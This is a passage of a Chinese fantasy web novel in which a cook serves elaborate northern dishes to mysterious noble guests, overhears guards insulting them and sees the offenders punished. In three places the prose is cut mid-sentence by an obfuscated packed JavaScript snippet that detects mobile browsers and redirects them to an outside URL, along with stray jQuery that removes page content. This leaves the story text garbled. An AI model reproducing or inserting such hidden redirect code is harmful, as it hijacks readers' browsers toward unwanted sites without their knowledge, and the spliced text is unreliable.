酥香、软糯、咸鲜、清爽，多种口感与味道在口中交织，复杂而和谐，令人回味无穷，忍不住立刻开始卷第二个。 牛肉罩饼汤色红润而清亮，能清晰地看到碗底吸饱了汤汁、变得柔软膨胀的饼块，以及上面铺着的、纹理分明的酱牛肉薄片和翠绿的葱丝香菜。 先喝一口汤，汤汁入口，牛肉的醇厚鲜香立刻充盈口腔，温暖妥帖地滑入胃中。再夹起一块吸饱了汤汁的饼块，饼身柔软中带着恰到好处的嚼劲，饱含了汤汁的鲜美。牛肉片酥烂入味，入口即化。 汤鲜，饼韧，肉烂，三者结合，简单却滋味无穷，暖心暖胃，让人吃得额头微微冒汗，畅快淋漓。 就在简菡心绪不宁，绕着宽大的灶台走到第三十八圈，差点把自己转晕的时候，穆阳果然脚步匆匆地来找她了。 “贵客们很满意，郑大人要见你。”他的话言简意赅。 简菡的心猛地提了一下，她深吸一口气，跟在穆阳身侧，谨记着穆阳跟她反复强调的规矩，一路低着头，眼睛盯着自己洗得发白的鞋尖和不断后退的地板，小心地走到了大堂。 “你就是厨娘？”郑大人的声音响起，带着一丝审视，也有一丝不易察觉的赞许。 听见郑大人询问，简菡立刻弯腰，恭敬地应了一声，声音尽量保持平稳，不让内心的紧张泄露分毫。 “是，正是小人。” “嗯，手艺不错。楼上的大人们用了你的菜，甚是满意，这是赏你的。” 郑大人话音刚落，立马有一位侍从应声上前，手里捧着一个做工极为精致、雕刻着繁复缠枝莲纹路的漆木匣子，递到了简菡面前。那匣子在烛光下还泛着温润的光泽。 她没敢轻易伸手去接，下意识地侧首，用眼角的余光请示了一下站在身旁的穆阳，见他几不可查地微微点了点头，示意她收下，这才伸出双手，恭敬地接过那颇有分量的匣子，同时深深一福，语气愈发恭谨：“谢大人赏赐。” 恰在此时，楼梯上传来咔哒咔哒、不疾不徐的脚步声，伴随着轻微悦耳的环佩叮当之声，显然是有人正从楼上雅间下来。 简菡被穆阳眼疾手快地拉了一把，扯到了一边，给下楼的人让出通路。 “介（这）就四（是）这店儿的小厨娘？” 嗯？ 这语调……这发音……意大利香肠蘑菇？ 巨大的震惊如同海浪般瞬间淹没了简菡所有的理智和谨记的规矩，她完全忘记了穆阳之前跟她反复叮嘱的“不可直视、不可失仪”的礼仪，唰地一下就抬起了头，目光带着难以置信的惊愕，直直地撞上了那位正在下楼、开口说话的“贵客”。 “放肆！” 刚才还给简菡递送赏赐匣子的侍卫反应极快，脸色一沉，伴随着一声厉喝，“咔嚓”一声清脆的金铁交鸣，已然拔出了腰间的佩刀，雪亮的刀锋在半空中划出一道寒光，眼神锐利如鹰隼，感觉下一秒那冰冷的刀刃就要在她纤细的脖子上来一下了。 白晃晃的刀锋反射出的刺目光芒在她眼前一闪而过，带着凛冽刺骨的寒意和死亡的威胁。 简菡只觉得一股寒气从脚底直冲天灵盖，大脑一片空白，四肢瞬间冰凉僵硬。要不是穆阳反应迅速，再次用力拉了她的胳膊一把，提供了些许支撑，她此刻早已双腿一软，如同烂泥般直接瘫跪倒在地上了。 “诶！无事！收起来！” 楼梯上的那位“贵客”适时抬手，语气带着一种不容置疑的威严，轻松地制止了一场可能发生的血腥场面。他的目光饶有兴味地落在简菡那张写满惊骇、苍白如纸的脸上。 43. 虾油小菜、白粥、棋子烧饼、莜…… “小姑娘也是冀北人？” 简菡弯着腰，摇了摇头，视线落在自己鞋尖前三分的地面上。 她能感觉到那道带着探究的目光在自己身上停留了片刻，那目光中似乎还带着某种难以言说的期盼。 “你的冀北菜做得不错。” 那位贵客的眼里闪过一丝几不可察的失望，随后他走到门外，在月色下抓起一把还带着湿气的泥土，动作轻柔得仿佛在对待什么稀世珍宝，郑重地装进了一个迷你的白玉琉璃净瓶中。 “这一去，怕是再也回不来了。” 那声叹息很轻，却带着千钧重量，简菡听着，不自觉都被染上了一股难以言喻的悲伤。她甚至能感觉到那话语中深藏的眷恋与决绝，使得她也心头莫名一紧。 直到那沉稳的脚步声彻底消失在楼梯上，简菡依旧维持着弯腰的姿势。她甚至能听到自己关节发出的轻微声响，她感觉自己的腰背都僵硬得快失去知觉。 “既然大人们喜欢你做的菜，明日记得也用心些。”郑大人浑厚的声音传来，带着不容置疑的威严。 “是，小人明白。” 简菡恭恭敬敬地应着，低眉顺目，福着身子一步步退回了后院。每一步都走得格外小心，生怕一个疏漏，脖子上就会“凉嗖嗖”的。 呼！ 一离开前堂视线，简菡立刻扶住了廊下的柱子。她感觉腰都快不是自己的了，酸麻的感觉从腰部一直蔓延到颈椎，急需来一套正骨缓缓。 等那股酸劲儿缓过去，她才叹息一声，揉着后腰往小屋走。 手中的漆盒沉甸甸的，单手捧着都有些坠手。盒子上精致的雕花硌着她的掌心，暗示着里面的东西定是不一般。 “该不会是金子吧？”她嘀咕了一句。 屋里亮着光，推开门，雪翎、墨无咎和汪屿竟都在。 “你们……” “大堂被占了，他们得在你这借住一晚，我来陪你。”雪翎三言两语交代清楚了前因后果。 简菡哦了一声，关上门。 本来她没打算瞒着赏赐的事，况且新签的契约书上可是明确列出了具体条款，客人的打赏一律归她所有，无需与汪屿分成。 是以，坐下后她便直接打开了盒子。 刹那间，婴儿拳头大的东海鲛珠泛着柔光，暖芒通透的南海焰珠似内蕴火焰，寒冽沁骨的北海雪珠凝结着霜气，碧波凝翠的西海螺珠流淌着水色——四色宝珠在昏黄烛光下爆发出耀眼华彩，差点闪瞎众人的眼睛。 那光芒太过夺目，甚至将简陋的小屋都映照得如同白昼。还是墨无咎手疾眼快，“啪”一声合上了盖子，动作干净利落。 “这么多宝贝！”雪翎激动地抓住简菡的手臂，在空中剧烈摆动。 “很值钱吗？” 简菡还有些懵，她虽然看出这些珠子不凡，但具体价值却毫无概念。 “我的宝贝儿啊！” 雪翎捧住简菡的脸揉搓起来，光滑柔软的触感让她爱不释手。简菡费了好大一番力气才挣脱，连忙护住自己的脸，虽然不疼，可是会不舒服。 雪翎小心捏起那一颗南海焰珠，珠子在她指尖还泛着温暖的红光：“就这成色尺寸，有市无价，你可是得了一盒子！” 有市无价？ 简菡眼睛倏地睁大，正想拿过来细看，灼热的手感烫得她猛地缩回手。那热度远超想象，仿佛触碰的不是珠子，而是一块烧红的炭。 “怎么这么烫！” “你是人族，没有灵力，自然碰不得。”雪翎讪笑着放回珠子，小心地将珠子放回原处，“总之！一定要好好保管，知不知道？” 她抓过简菡的手仔细检查，见没烫伤，才松了口气，象征性地吹了吹。 “嗯！” 简菡盯着盒子郑重地点头，指尖因为刚才的触碰还残留着余温。 对面，汪屿同样盯着盒子，神色凝重。他的手指无意识地敲击着桌面，眉头微微蹙起，似乎在思考着什么。 夜半，简菡倏地睁开眼。 这一盒子天降横财让她心神不宁，根本睡不着。她在床上翻来覆去，脑海里全是那些珠子的光芒和雪翎说的“有市无价”。 她轻轻拨开雪翎搭过来的胳膊，蹑手蹑脚下床。见摇椅上的汪屿和桌子上的墨无咎都睡得正安稳，她披上外衣，推门而出。 木门发出轻微的吱呀声，在寂静的夜里格外清晰。 脚刚踏出去，简菡就被吓得一激灵，死死捂住嘴才没叫出声。她的心跳骤然加速，后背瞬间冒出一层冷汗。 楼顶站着好几道身影，他们身后舒展着黑褐鞘翅，像两块抛光的硬甲，在月光下泛着冷冽的光泽。头部两侧伸着一对短粗的、黑褐色的、圆鼓鼓的触角，随着他们的动作微微颤动。 这就是那些“贵客”？ 她眯起眼想看清，忽然被窜出来的穆阳捂住嘴拖向厨房。他的动作又快又急，简菡甚至来不及反应就被带离了原地。 简菡好不容易挣脱了穆阳的束缚，刚要破口大骂，就见他竖起手指发出嘘的警告气声。 穆阳指了指左边，隐匿在暗处的侍卫对着他们摆了摆手。他又指了指右边，差点砍了简菡的侍卫已经拔出了他的刀。 嘶！ 简菡倒吸一口凉气，连带着看向穆阳的目光都多了几分感激。 救命恩人啊！ 穆阳关上厨房的门，靠在门板上长舒了口气。 “小姑奶奶，你大半夜出来干什么？”穆阳关紧厨房门，压低声音，语气中带着明显的责备。 “我……”简菡张张嘴，把“穷人乍富睡不着”的实话咽了回去，“我起夜不行吗？”她的声音因为刚才的惊吓还有些发颤。 穆阳直接翻了个白眼：“我连大堂都睡不上，你还敢出来起夜？”他的声音压得极低，生怕被外面的人听到。 简菡抿嘴垂眼，指了指房顶：“这是怎么回事？” 她也学着穆阳压低声音，心脏还在砰砰直跳。 “少打听。”穆阳叹气，脸上写满了无奈。 知道问不出，简菡换了个问题：“能告诉我贵人是什么种族的兽人吗？” 她实在按捺不住好奇心。 穆阳立刻捂住她的嘴四处张望，声音压得更低：“我都说了，少打听！少打听！”他的眼神中甚至带上了一丝恐慌。 意识到严重性的简菡心砰砰直跳，这才后知后觉地感到害怕。 “我就是想更好地贴合一下贵人口味……”她试图解释，声音越来越小。 “少打听！”穆阳不容置疑地打断，脸色严肃得吓人。 “走，我送你回去” “可是我……”真的想去厕所了。 后半句话没来得及说出口，就被穆阳的眼神一瞪，全咽了回去。 生理需求没解决，回去后简菡辗转反侧，跟烙饼似的死活睡不着。她在硬板床上翻来覆去，感觉膀胱都要炸了。 听见第一声鸡鸣，她实在憋不住了，冒着生命危险直奔厕所。一路上她的心都提到了嗓子眼，生怕再撞见什么不该看的。 幸好，那群贵人似乎歇下了，她的小命和膀胱都总算保住。 隔天，简菡顶着一双浓重的黑眼圈出现在厨房。 一夜未眠，困意汹涌，她刚张大嘴要打哈欠，瞬间想起昨晚的惊心动魄，猛地打了个冷颤，硬生生把哈欠憋了回去，眼里顿时涌上生理性泪水。 不行！得打起十二分精神！她的小命可都系在这顿饭上了！ 她用井水狠狠洗了把脸，冰冷的水珠顺着脸颊滑落，让她打了个激灵，却也真的清醒了不少。 灶台前，面团早已醒发得恰到好处，加入猪油反复擀压，叠出层层叠叠的酥皮。小巧的面剂子擀开，包入精心调制的猪肉馅，收口搓圆，再轻轻压成棋子大小。 刷上薄薄一层油，贴入烧得滚烫的炉膛内壁。不过片刻，诱人的香气便飘散出混合了焦香与肉香的浓郁味道。那香气越来越浓， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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将做好的窝窝整齐码入笼屉，大火蒸熟。蒸制的时间要把握得恰到好处，才能保证窝窝既熟透又不失筋道。 出锅时，莜面特有的谷物香气扑面而来，每一个窝窝都口感极为筋道。那独特的香气与烧饼、羊汤又有所不同，带着一种质朴的粮食香味。 那些不喜欢羊杂但能接受羊肉的大人们，即便不选莜面窝窝，吃棋子烧饼也还有别的搭配选择——羊肉汤。 羊肉切成大块，只加清水、盐和一把葱花，慢火熬煮成羊肉汤，汤色清亮，最大限度地保留了羊肉本身的鲜美。这种做法看似简单，实则最考验食材的品质和火候的掌控。 吃时，将筋道的莜面窝窝或浸入滚烫的羊肉清汤中，让窝窝那多孔的结构吸饱鲜美的汤汁。咬下去，莜面筋道弹牙，带着浓郁的麦香，同时裹挟着羊肉汤的鲜醇，一碗下肚，扎实又暖身。 若是搭配得棋子烧饼，一口饼，一口汤，同样舒爽。两种食物搭配在一起，同样熨帖。 除此之外，还有喜欢甜食的大人会选择炸糕和豆浆。 黄米面用温水调和，包入甜而不腻的红豆沙馅，收口搓圆后轻轻压扁。豆沙馅是她亲手熬制的，甜度适中，还保留了些许红豆的颗粒感，增加口感。 放入温油中，慢慢浸炸，待其浮起，再升高油温，炸至外皮金黄酥脆。炸制的火候很重要，油温太低会吸油，太高则外糊里生。 捞出的炸糕，外皮咔嚓作响，内里却软糯非常，热乎乎的豆沙馅甜香细腻。趁热咬下，外酥里糯，甜润可口。 刚磨好的豆浆，豆香浓郁，口感顺滑，没有任何甜味。糖加多少全看大人们自己的选择。 豆浆是今早现磨的，豆子的香气保存得完好。用它来搭配略甜的炸糕，豆浆的清淡豆香恰好中和了炸糕的甜腻，使得口感清爽，确是相得益彰的经典组合。 荤素搭配，干湿俱全，营养均衡，足以满足不同口味的需求。她尽可能考虑到了各位贵客可能的口味偏好。 简菡看着准备妥当的各式早餐，仔细检查着每一道菜品，确保没有任何疏漏后，才召唤穆阳带人端了出去。 看着他们上菜的忙碌身影，她深深吸了一口气。 老天保佑，希望能让贵客们满意。 44. 驴肉火烧、广府酥鱼、白玉鸡脯…… 可算是撑到了那群贵人们用完了早膳，简菡觉得自己上下眼皮都要打起来了。她跟雪翎嘱咐了一声，饭都没吃就回屋睡起了回笼觉，几乎是沾枕头就着。 半梦半醒间，一阵压抑的谈话声隔着窗户纸模糊地传了进来。 严重睡眠不足让她的起床气倍增，简直能点燃整个屋子。她烦躁地裹着被子连翻了好几下身后，终是忍无可忍，蹭地一下坐了起来，头发凌乱，眼神冒火。 她深吸一口气，刚要破口大骂地冲出去，忽然，窗外清晰的对话声再次钻进了她耳朵里。 “大人？他们算什么大人，撑死了算是公公！”一个带着醉意的声音嗤笑道。 简菡的睡意瞬间散了些，她动作一顿，轻手轻脚地躺回床上，贴着窗户下的墙根，伸长耳朵想听得仔细些。 “你不要命了！”另一个紧张的声音响起，扯闲话二号似乎还狠狠拍了一下一号的胳膊，发出清脆的声响。 “怕什么？他们去南洋，还不要靠我们兄弟庇护？”醉醺醺的声音满不在乎。 嗅嗅嗅嗅。鼻子用力吸气的动静响起。 “你这是喝了多少啊？赶紧找个地方去洗干净，小心让郑大人发现，扒了你的皮！”紧张的声音带着厉色。 谈话声骤然停下，吓得简菡心都提到了嗓子眼，连呼吸都屏住了。 她……被发现了？ 她大气都不敢出，紧紧贴着冰冷的墙壁，恨不得自己能融进去。 下一瞬，穆阳沉稳的声音忽然在不远处响起：“大人，您要的金银水备好了。” 听着窗外的脚步声杂乱地匆匆走远，简菡这才捂着狂跳的胸口，大口喘气，总算是缓过神来。 偷听到的信息量太大，简菡这下彻底清醒了，那点残存的睡意被惊得无影无踪。 她躺在床上，反复思考着那几句没头没尾的话，还是决定去找一下穆阳，这事儿憋在心里实在不踏实。 厨房里，卤鸡腿被她用盘子捧着呈现在穆阳面前。 那是她特意挑选的，个个肥硕饱满，一个几乎就占了小半个盘子。 经过长时间的卤制，鸡腿表皮呈现出诱人的深赤褐色，油润光亮，紧实的肉质在深色卤汁的浸润下微微收缩，勾勒出饱满的弧度，连皮带肉都吸足了滋味，看着就让人食指大动。 “说吧，有什么事要求我？” 穆阳瞥了眼简菡手里的盘子，瞬间警惕起来。 “嘿嘿！” 简菡堆起笑脸，拿着盘子就要往他手里塞，可穆阳身手敏捷，轻而易举就侧身躲过去了。 无奈，简菡放下盘子，先是探头，继而干脆走出厨房内外都仔细勘察了一番，确认不存在“隔墙有耳”后，才折返回来，将自己上午偷听到的事情原原本本都跟穆阳叙述了一番，连那醉汉的语气都学了几分。 这群人的行踪其实穆阳并不清楚。他只在县令给他看公文上了解到了一点点情况。 如今有了简菡这番话，他瞬间便将这群“贵人”的真实身份、行程目的等等猜了个大概。 身躯虽残却是为了家国大义，竟被这群杂碎在背后如此玷污！ 穆阳气得拳头都硬了，指节捏得发白。 可官大一级压死人，那嚼舌根的显然是郑大人手下的侍卫，不光与他并非同一系统，甚至官职比他高。 即使他再气，也不能将事情捅到郑大人那去。 穆阳对上简菡那清澈又带着期盼的目光，将官场的黑暗与无奈全都咽了下去，斟酌着开口：“这群贵人……都是手艺绝佳的工匠，是奉命出使南洋去办事的。可为了确保两国邦交长久，技术不泄，只能……只能断绝他们在南洋延绵子嗣的可能，如此一来，南洋那边的澳国就不得不始终依赖我们的输出，世世代代可能都要通过朝贡等方式来换取人才出使。” 原是如此！ 听完，简菡的神情都有些沉重。 这群大人，岂非如同那远嫁和亲的公主，用自己一生来做纽带，如此大义，竟然还被本国的子民如此侮辱！ “冷静。” 穆阳见她气得脸颊鼓鼓，轻拍了一下她的肩膀，这才没让怒火冲撞了她的理智。 “我们虽人微言轻，但这种猪狗不如的人，迟早会有报应的！” 报应？简菡心里冷哼，她不信这些虚的。这种人就应该也被处理，也送到那异国他乡去，亲身尝尝那背井离乡和身体残缺之苦！ 下午，简菡听穆阳说，官船的补给已经全部完成，而且沿途积压的暴雨云团也已散去，河道通畅，郑大人已经下了令，明日一早准时出发。她赶紧招呼雪翎和墨无咎去了趟菜市场，进行了一次“大”采购。 晚饭，简菡可谓是使出了浑身解数。 驴肉火烧、广府酥鱼、白玉鸡脯、鸡里蹦、煨肘子、烩南北、酸菜白肉锅……但凡她能想到的、没给贵人们做过的冀北美食都被她一一做了出来。 带皮的驴肉加入十几种香料在老汤中精心卤制，直至酥烂入味，捞出后趁热用快刀剁碎，那“笃笃笃”的剁肉声极富节奏感。 刚出炉的火烧烫手，用刀划开一侧，热气喷涌而出，立刻塞入满满当当、混合着清爽青椒碎的驴肉，肉汁瞬间浸润了酥脆的火烧内层。 肥美的鲜鱼去鳞洗净，入油锅炸至连鱼骨都酥透后捞出沥油。 另起锅，用葱、姜、蒜、醋、糖、酱油、料酒及多种香料熬成浓稠的汁，将炸好的鱼放入汁中慢火煨至入味，鱼身呈现出深琥珀色，酸甜咸鲜，连骨头都能嚼碎咽下。 鸡胸肉细细斩成茸，混入蛋清、猪油和少许淀粉，顺着一个方向不停搅打上劲，直到肉质细腻如雪。 用手挤成圆润的丸子，入微沸的清汤中汆熟，丸子浮起时洁白如玉，口感嫩滑异常，汤色清澈见底，只点缀几叶嫩绿菜心。 剩余的鲜嫩鸡肉切丁上浆滑炒，保持其滑嫩。再与大只的青虾仁同炒，虾仁蜷受热后缩成球状，色泽粉红诱人。咸鲜口味的芡汁包裹着两种主料，口感层次分明。 肥瘦相间的猪前肘，先用火燎去残毛，刮洗干净，在浓油赤酱中慢慢煨炖，直至皮肉酥烂近乎融化，用筷子轻轻一拨便能骨肉分离，酱香浓郁，色泽红亮诱人。 塞北的口蘑与江南的竹笋切片，辅以几片瘦肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715797|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用高汤一同烩制，口蘑带来山野的醇厚，竹笋贡献江南的清甜，汤汁乳白，鲜美无比。 简菡自己腌渍的、留着冬天吃的酸菜切成细丝，与五花三层的薄切白肉片一同放入铜锅中，加入高汤、粉丝、冻豆腐慢炖，酸菜恰到好处的酸味解了白肉的油腻，汤底酸香开胃，在微凉的傍晚吃起来格外舒坦。 一道道菜肴被端出去的时候，简菡瞥见院里有个眼熟的人影正按例巡逻。 是那个对她拔了两次刀的侍卫。 “钱大人！”简菡放下手里的抹布，快步走了出去。 被她喊住的钱峥顿住脚步，眼睛扫了过来，带着审视。 “大人，还没用饭吧？忙了一整天了……不如，来厨房吃点东西垫垫？”简菡努力让自己的笑容看起来真诚无害。 钱峥看了眼简菡，又扫了眼她身后灯火通明、香气四溢的厨房，手按在刀柄上，一时间没想到这个小小人族厨娘安的什么心。 “带路。”他声音冷硬，显然并不把简菡放在眼里，跟着她进了厨房。 这几日，汪仙楼的众人和穆阳等几个相熟的官差都是等贵人们用完膳再吃的。再加上明日给聂松用车拉去售卖的卤货也提前做出来了。是以她毫不费力地就给钱峥凑足了七菜一汤。 “大人，请慢用。”食物的香气源源不断地钻入鼻腔，对于啃了多日干粮的人来说，无疑是巨大的诱惑。 钱峥的喉结不自觉地滚动了一下，强行移开目光。 “小娘子有事，不妨直言。” 这都不上当？ 简菡捏了下腰间挂着的荷包里那几颗金瓜子，狠了下心。 “我……我想跟大人说个故事。”她直直地看向钱峥，目光毫不避讳，“我有一个朋友……” 简菡将那二人的对话稍加改编，以“朋友”无意间听闻的名义，跟钱峥说了一遍，重点强调了那两人对“公公”们的侮辱和不屑。 说完，她正准备将荷包里的金瓜子掏出来递过去，就见钱峥脸色猛地一沉，腾地一下站了起来。 他人高马大，动作又猛，差点把面前的桌子给掀翻。 简菡“哎哟”一声，费尽全身力气，可算是稳住了满桌的好菜，汤汁都没洒出来。 “小娘子的‘心意’我领了，”钱峥的声音比刚才更冷，带着一种被冒犯的怒意，“可郑大人有令，不可食来源不明的东西。但小娘子放心，你的意图，我明白了。” 说完，他看也没看那些菜肴一眼，大步流星，转身就消失在了厨房门口，留下一个冷硬的背影。 他明白啥了？ 简菡抱着一桌子菜，一脸困惑。 “小简菡！你居然敢偷吃！”来厨房取馒头的穆阳指着她面前这一大桌“罪证”，气得音量都忘了控制。 “别吵！”简菡赶紧对着他比了个大大的叉，压低声音，“差点被你害死！” 等穆阳了解完事情经过，忽而噗嗤笑了出来，拍了拍她肩膀。 “行贿未遂，你也算因祸得福了。” 说完，他就端着馒头筐，屁颠屁颠地去大堂给贵人们送主食去了。 45. 扒鸡送英雄 全镇的鸡几乎都被简菡买了下来。 活鸡拔毛的工程量太大，买的时候简菡特意加了些银子，让老板帮忙处理好了才运回客栈。 她要做的是“金凤”扒鸡，冀北老字号的招牌。需先炸后卤，采用蜂蜜上色炸制，再搭配十八味中草药秘方老汤煮制，据说兼具药理功效与保健作用，成品肉质松软脱骨、香味醇厚。 她以前收集过这些草药的配方，自己也试着做过几次，虽不及老师傅，但也有七八分火候。 根据记忆里整理的步骤，简菡有条不紊地操作起来。 先将处理干净的白条鸡盘好造型，昂首翘尾，如趴卧状，煞是好看。然后用恰到好处的蜂蜜水均匀涂抹鸡身，这步是为炸制时上色，需涂抹得薄而匀。 待皮略干，便下入温油锅中，小心炸至鸡身呈现出均匀的红棕色后，捞出沥油。 紧接着便是关键的卤制。她将提早备好的十八味中草药：黄芪、当归、枸杞、丁香、砂仁等一一投入锅中，大火烧开，转小火慢熬，让草药的精华与香气慢慢融入汤底。 待汤香浓郁扑鼻时，才将炸好的鸡轻轻放入，确保汤汁没过鸡身，再次烧沸后便转为极小的火苗，让鸡在微沸的汤中慢慢浸煨。 这过程急不得，需耐心等待数个时辰，让那复合的香气一丝丝渗透进鸡肉的每一丝纤维之中，直至骨酥肉烂，香味醇厚。 有雪翎、墨无咎以及汪屿的帮忙，简菡还是忙活了整整一夜，直到天边泛起鱼肚白，才将所有的扒鸡和一些其他的食物做完。 她用自己的私房钱买了两套能用来储存和保鲜食物法器。墨无咎催动灵力，将食物用阵法全都转移了进去。 简菡眼下挂着浓重的黑眼圈，打了个巨大的哈欠。她让他们先去自己房间眯一会儿，自己则强撑着留下来，继续为贵人们准备离开前的最后一顿早餐。 吃完饭，马车跟蚂蚁搬家似的，将这群“贵客”连同他们的行装，又浩浩荡荡地运回了停靠在码头的官船上。 简菡眼尖，瞅见落在队伍末尾的钱峥，赶紧跟穆阳打了个招呼，让他将人给拦下来，说有事找他。 穆阳当即一副“你脑子是不是被门夹了”的表情，义正言辞地拒绝：“姑奶奶，你惹他还不够？我可不想挨刀！” 最后还是简菡忍痛割爱，用了她留下的三只扒鸡作为报酬，才让这位他“心甘情愿”地去请人。 一大一小两只不起眼的木盒被简菡递过去的瞬间，钱峥果然如预料般，“咔嚓”一声就拔出了腰间的佩刀，眼神锐利如刀，警惕起来。 简菡被吓得一哆嗦，赶紧解释起来。嘴皮子都快要磨破了，可算是说通了他，让他先去问过郑大人，再由上官决定能否收下。 木盒里仅仅是个玉葫芦。 郑大人检查了好几遍，又让简菡当着他的面，将玉葫芦里面的每种食物都挨个尝了一遍，确认无毒，这才勉强打消了他认为她下毒的疑心。 可郑大人还是板着脸，坚持原则，不愿意拿群众的一针一线。 简菡无法，只好跟参加公务员面试似的，站在那儿绞尽脑汁，说了一大通道理，什么“贵客们远行辛苦，一点家乡味以慰思乡之情”，什么“此去南洋山高路远，万一水土不服，这熟悉的味道或可缓解不适”，什么“这只是小女子感念诸位大人为国奉献的一点心意，绝非行贿”…… 终于！郑大人，皱着眉，勉为其难地收下了。 高梁河边，无风无浪，万里无云，正是适合行船的好日子。 简菡看着郑大人、钱峥等人站在渐渐远离的船头，身影越来越小，心里顿时五味杂陈，既有送别的怅然，也有对那群特殊“工匠”命运的唏嘘。 直到那官船成了“孤帆远影碧空尽”的一个小黑点，送行的县令才招呼他们这些闲杂人等回去。 简菡又打了个大大的哈欠，嘴巴张到一半，猛地顿住。 她看见，穆阳手上好像拎着一个用黑布罩着的笼子。她好奇地拉着雪翎凑了过去。 笼子上的黑布在穆阳行走间晃荡，露出一条缝隙。 里边似乎是关着……两条细长的、纠缠在一起的东西？像是蛇？ “这是什么？”简菡指着笼子问。 穆阳闻言，用手指挑开黑布，露出一条窄缝，让她能看清里面。 “那两个杂碎。”他语气带着一丝鄙夷。 简菡原本还没反应过来，直到看见穆阳臭屁地对着她肯定地点了个头，她这才恍然大悟。 是在她窗根下嚼舌根的人！ “他们……”简菡用手指了下笼子，有些摸不清头绪。 “郑大人今早下令拿下的，让我们将他们和郑大人亲手所写的官文一同押运送回京。交由圣裁。”穆阳解释道，语气带着几分痛快。 呦！ 简菡挑了下眉，这报应来得可真快！ 若非此刻精神不济，眼皮沉重得像挂了秤砣，简菡还真的想凑近了好好“欣赏”一下这“落水狗”的狼狈模样。可…… 她实在是太困了，连幸灾乐祸的力气都快没了。 那边，汪屿已经拦好了回程的牛车。简菡跟穆阳说了声，便提着裙摆小跑了过去。 牛车走得慢，晃晃悠悠，简菡靠在雪翎柔软的肩膀上打着盹，几乎立刻就要去会周公。 忽地，牛车一个剧烈的颠簸，简菡迷迷瞪瞪地感受到自己的身体不受控制地往前冲了出去，又被人重重地拉了回来。 她猛地睁开惺忪的睡眼，就见除了紧挨着她坐的雪翎，其他人都已经下了车。 “发生什么了？他们人呢？”简菡揉着眼睛，茫然地问。 “没事。”雪翎摸了摸简菡的头安抚着，“有人晕倒在咱们车前了，汪屿和墨无咎下去看了，瞧着……有点像讹钱的。” 啊？ 简菡转身，扒着车沿探头望去，就见牛车前不远的地上还真躺着一位衣衫略显凌乱的女子。 可牛车又不是马车、驴车，这慢吞吞的速度想撞伤人还真有些难度。这人…… “她应该是饿晕的，”下去查看的汪屿走了回来，淡淡道，“脸色苍白，不像装的。给她腾个位置，先把她带去咱们客栈再说吧。” 本就拥挤的牛车空间因为这位不速之客的到来变得更挤了。 简菡抱着自己的膝盖，将下巴搁在膝盖上，闭起了眼睛，继续与睡意抗争。 雪翎瞧见她脑袋一点一点的，跟小鸡啄米似的，刚要伸出手去扶，一条比她更快的手臂已经从另一侧伸了过去，轻轻扶住了简菡歪倒的肩膀。 “你……”雪翎嗅到一丝不寻常的气息，眼睛瞬间亮晶晶的，充满了探究。 汪屿面不改色，语气平淡：“她出事了，咱们接下来吃什么？” 鬼才信你这借口！ 雪翎对汪屿做了个俏皮的鬼脸，背过身去，嘴角却悄悄弯起。 大伙儿都没睡好，精神不济 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720465|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是以汪仙楼今日便歇业一天，养精蓄锐。 简菡这一觉直接睡到了中文，要不是被活活饿醒的，她觉得自己还能睡。 早上的包子还有剩余，她刚想热点来填肚子，客栈的其他人也溜达了过来，都跑来厨房找饭吃了。于是，厨房里剩下的吃食便被一股脑儿端上了大堂的桌子。 牛肉圆葱的包子一个都快有成年人拳头大了。外皮暄软，透着里面馅料的油润色泽，看着就实在。 一口咬下去，松软的外皮破开，内里团得像个小丸子的牛肉馅立刻涌出滚烫的汁水，牛肉特有的浓郁油脂香气混合着圆葱被热力激发出的清甜，瞬间在口腔中爆开，那强烈的满足感直冲鼻腔，是扎实又过瘾的家常美味。 南瓜花卷在揉面的时掺入了蒸熟碾碎的南瓜泥，使得花卷呈现出诱人的淡金黄色，口感格外香甜松软。 南瓜自带的天然甜味与面粉的麦香完美融合，吃起来带着淡淡的回甘。 怕鸡腿不够分，简菡特意撕了三只扒鸡，分了三个盘子装。 扒鸡经过一夜的浸煨，味道更加融合。 鸡皮呈现出诱人的红褐色，油亮光泽，轻轻一扯，便能皮肉分离。 鸡肉早已酥烂脱骨，用筷子一拨，肉丝便轻松散开，入口咸香适中，肉质细腻，咀嚼间，草药的复合香气与老汤的醇厚滋味层层释放，回味悠长，连骨头都酥软入味，让人忍不住吮指。 简菡端起桌上那碗海带蛋花汤喝了一口。 汤色清亮，切成小片的翠绿海带沉浮其间，金黄的蛋花如同絮状云朵，漂浮在汤面上。 入口是海带特有的海洋鲜味，混合着鸡蛋的滑嫩清香，汤味清淡却不寡淡，正好可以化解吃包子和扒鸡带来的些许油腻，暖胃又舒服。 窸窸窣窣的声音从大堂通往客房的一角传来。 下一瞬，众人只觉眼前一花，那个早上被抬回来的姑娘，竟如同瞬移般出现在了桌前，动作快得只留下残影，吓得简菡一个激灵，屁股都跟凳子分离了，若非手稳，那碗汤非得撒了她一身不可。 桌子尾端正好摆着那盘金黄的南瓜花卷。 